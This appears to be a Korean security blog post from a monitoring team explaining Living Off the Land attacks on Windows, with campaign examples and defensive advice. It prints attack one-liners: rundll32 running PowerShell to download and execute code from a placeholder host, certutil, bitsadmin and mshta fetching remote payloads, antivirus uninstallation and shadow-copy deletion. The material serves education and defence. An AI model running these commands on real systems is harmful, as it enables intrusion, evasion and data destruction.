상세 컨텐츠

본문 제목

해커들이 사용하는 LOL(Living Off the Land) 공격

침해사고 분석 리포트

by 10ckd0wn 2022. 11. 1. 14:24

본문

 

개요

LOL(Living Off the Land) 공격은 공격 대상 시스템에 설치되어 있는 합법적인 바이너리, DLL 등의 도구를 이용하여 보안 시스템으로부터 불법 행위 탐지를 회피하는 공격 기법이다.

 

공격자는 공격 대상 시스템에 설치되어 있는 기존의 바이너리를 이용하여 지속성, 사용자 계정 컨트롤(UAC) 우회, 악성 프로그램 다운로드 등, 사용자가 의도하지 않은 행위를 수행할 수 있다. 

 

또한 LOL 공격은 Windows 운영체제에만 적용되는 것이 아니라 거의 모든 운영체제에 공격자가 악용할 수 있는 기존 바이너리가 존재하지만, 이번 글에서는 Windows 운영체제에 중점을 두고 설명을 할 것이다.

(Unix의 LOL 공격 바이너리 정보는 “https://gtfobins.github.io/”에서 확인할 수 있다.)

 

 

해커들이 LOL 공격을 사용하는 이유

LOL 공격은 시스템의 합법적인 도구를 사용한 공격이기 때문에 대부분의 경우 해당 도구들이 화이트 리스트로 관리된다. 이러한 이유로 안티바이러스 솔루션의 탐지를 회피하여 공격 탐지를 어렵게 만들기 때문에 많은 해킹 그룹이 해당 공격 기법의 사용을 증가 시키고 있다.

 

LOL 공격에 사용되는 바이너리, 즉 LOLBins는 해커가 도구를 별도로 빌드 및 테스트할 필요가 없으며 공격 대상 시스템에서 호환성 및 종속성에 대해 고민을 할 필요가 없다. 특히 커널 수준에서 실행되는 경우 안티바이러스 솔루션의 탐지를 피할 수 있는 프로그램을 빌드하는 것도 해커의 리소스가 많이 들어가기 때문에 결론적으로 LOLBins의 사용은 해커의 관점에서 공격 비용을 줄일 수 있는 효율적인 방법이다.

 

또한 해커들은 공격 탐지율을 더욱 낮추기 위해 LOLBins로 악성 파일 없이 메모리에서 악의적인 행위를 수행하는 파일리스 공격을 사용한다. 방어하는 입장에서, LOLBins의 악용만으로도 공격 탐지가 어려운데 여기에 파일리스 공격까지 병행된다면 공격 탐지율이 급격하게 낮아진다. 그리고 사고 분석 관점에서도 악성 행위를 확인할 수 있는 아티팩트가 제한될 수 있다.

 

아래 표는 Trellix(前 FireEye)에서 발표한 2022년 1분기 LOLBins 공격 탐지 목록이다.

2022년 1분기 LOLBins Top 5

LOLBinMITRE ATT&CK TechDescription

 

LOL 공격 사례

Microsoft는 2019년 ‘Astaroth’ 악성 코드 캠페인에 대한 분석 결과를 발표했다. ‘Astaroth’ 악성 코드 캠페인은 아래 그림과 같이 이메일의 악성 링크를 이용하여 악성 파일을 다운로드 및 실행하는 것 외 모든 공격 지점에 LOLBins를 악용하여 공격을 수행하였다.

LOL 공격을 이용한 Astaroth 악성 코드 공격 체인

 

Microsoft는 2022년 10월 25일, DEV-0832(Vice Society)라는 랜섬웨어 캠페인에 대한 분석 결과를 발표했다. Vice Society는 PowerShell 스크립트, 합법적 도구, 공개된 취약점을 악용하여 다른 랜섬웨어 캠페인에서 일반적으로 수행되는 TTP(Tactics, Techniques, and Procedures)를 따라 공격을 수행한다.

Windows Defender를 변조하는 reg.exe 명령

 

 

LOL 공격 예제

2022년 10월 기준으로 LOL 공격에 악용될 수 있는 바이너리들을 정리한 ‘LOLBAS 프로젝트(https://lolbas-project.github.io/)’에는 총 172개의 LOL 바이너리가 정리되어 있으나 실제 공격에 악용될 수 있는 바이너리와 기능은 이보다 더욱 다양하다.

 

[1] WMIC.exe

CategoryDescription

로컬 시스템에 바이너리 실행

wmic.exe process call create [Binary_Path]

 

원격 시스템에 바이너리 실행

wmic.exe /node:[Remote_IP] process call create [Binary_Path]

[그림 3] 원격 시스템에서 실행된 프로세스

 

안티 바이러스 소프트웨어 목록 확인 및 삭제

wmic.exe /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get /ALL /format:list

wmic.exe product where ( Vendor like "%Emsisoft%" ) call uninstall /nointeractive & shutdown /a & shutdown /a & shutdown /a;

안티 바이러스 소프트웨어 목록 확인

 

Volume Shadow Copy 삭제

wmic.exe shadowcopy delete

볼륨 섀도우 카피 삭제

 

 

[2] Schtasks.exe

CategoryDescription

로컬 시스템에 작업 스케줄러 생성

schtasks.exe /create /sc [schedule] /mo [modifier] /tn [Task_Name] /tr [Task_File_Path]

 

원격 시스템에 작업 스케줄러 생성

schtasks.exe /create /s [Remote_Server] /tn [Task_Name] /tr [Task_File_Path] /sc [schedule]

생성된 작업 스케줄러

 

[3] Rundll32.exe

CategoryDescription

SMB 공유를 통한 DLL 실행

rundll32.exe \\10.10.10.10\share\payload.dll,EntryPoint

 

스크립트로 외부 악성 코드 실행

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/');")

 

프록시 실행

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").run("calc.exe",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

 

[4] Certutil.exe

CategoryDescription

파일 다운로드

certutil.exe -urlcache -split -f http://[Web_Server]/[File_Path] [Output_File_Path]

 

외부 사이트에서 다운로드한 파일을 ADS에 저장

certutil.exe -urlcache -split -f https://[Web_Server]/[File_Path] [Output_File_Path]:[ADS_Name]

 

[5] Bitsadmin.exe

CategoryDescription

 ADS에서 지정된 파일 실행

bitsadmin /create 1 bitsadmin /addfile 1 c:\windows\system32\cmd.exe c:\data\playfolder\cmd.exe bitsadmin /SetNotifyCmdLine 1 c:\data\playfolder\1.txt:cmd.exe NULL bitsadmin /RESUME 1 bitsadmin /complete 1

 

외부 사이트에서 파일 다운로드

bitsadmin /create 1 bitsadmin /addfile 1 https://[Web_Server]/[File_Path] [Output_File_Path] bitsadmin /RESUME 1 bitsadmin /complete 1

 

 

[6] Mshta.exe

CategoryDescription

외부 사이트에서 스크립트 실행

mshta.exe vbscript:Close(Execute("GetObject(""script:https://[Web_Server]/[Script_File_Path"")"))

 

외부 사이트에서 페이로드 다운로드

mshta.exe https://[Web_Server]/[Payload]

 

LOL 공격 대응 방법

프로세스 모니터링

프로세스 모니터링을 통해 LOLBin의 실행 및 인수를 모니터링하고 부모-자식 프로세스 관계의 이상징후를 모니터링해야 한다.


보안 솔루션 도입

EDR · SIEM 등의 보안 솔루션을 도입하여 공격 모니터링 및 행위 기반 이상 행위 탐지로 자산을 보호하고 EMET ASR 기능을 이용하여 응용프로그램 제어 우회를 차단할 수 있다.

그리고 프로그램의 경로, 게시자 또는 해시를 기반으로 실행 프로그램을 제한할 수 있는 Windows의 AppLocker 기능을 통해 악성 행위의 가능성이 있는 프로그램 실행을 제한할 수 있다.

AppLocker로 LOLBin 사용 제한

 

기능 또는 프로그램 비활성화 또는 제거

사용하지 않는 기능이나 프로그램을 삭제하거나 정책 수정을 통해 기능을 비활성화하여 공격 표면을 줄여야 한다. 특히 파워셸의 경우, 프로그램을 사용하지 않는다면 스크립트 및 실행 정책을 반드시 제한해야 한다.


자격증명 관리

최소 권한의 원칙을 구현하여 사용자 및 그룹별 사용 환경에 맞는 실행 권한을 적용해야 한다. 일반 사용자뿐만 아니라 관리자 및 서비스 계정에 대해서도 강력한 암호 정책을 구현해야 하며 공유 계정으로 시스템 관리는 지양해야 한다. 그리고 MFA를 적용하여 공격자가 시스템의 계정으로 접근할 가능성을 줄여야 한다.


네트워크 세분화

최소 권한의 원칙과 업무 환경을 고려하여 네트워크 분할을 적용해야 한다. 이를 통해 원치 않는 원격 접근이나 내부 전파 등을 예방할 수 있다.

 

 

출처

https://res.armor.com/resources/threat-intelligence/living-off-the-land-attacks/

https://logrhythm.com/blog/what-are-living-off-the-land-attacks/

https://www.trellix.com/en-us/advanced-research-center/threat-reports/jul-2022.html

https://lolbas-project.github.io/

https://www.microsoft.com/en-us/security/blog/2019/07/08/dismantling-a-fileless-campaign-microsoft-defender-atp-next-gen-protection-exposes-astaroth-attack/

https://www.microsoft.com/en-us/security/blog/2022/10/25/dev-0832-vice-society-opportunistic-ransomware-campaigns-impacting-us-education-sector/

https://www.bleepingcomputer.com/news/microsoft/microsoft-starts-killing-off-wmic-in-windows-will-thwart-attacks/

https://www.sans.org/white-papers/39450/

https://frsecure.com/blog/living-off-the-land-attacks/

https://learn.microsoft.com/ko-kr/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker

https://en.wikipedia.org/wiki/AppLocker

https://attack.mitre.org/techniques/

 

보안관제센터 MIR Team

 

관련글 더보기

댓글 영역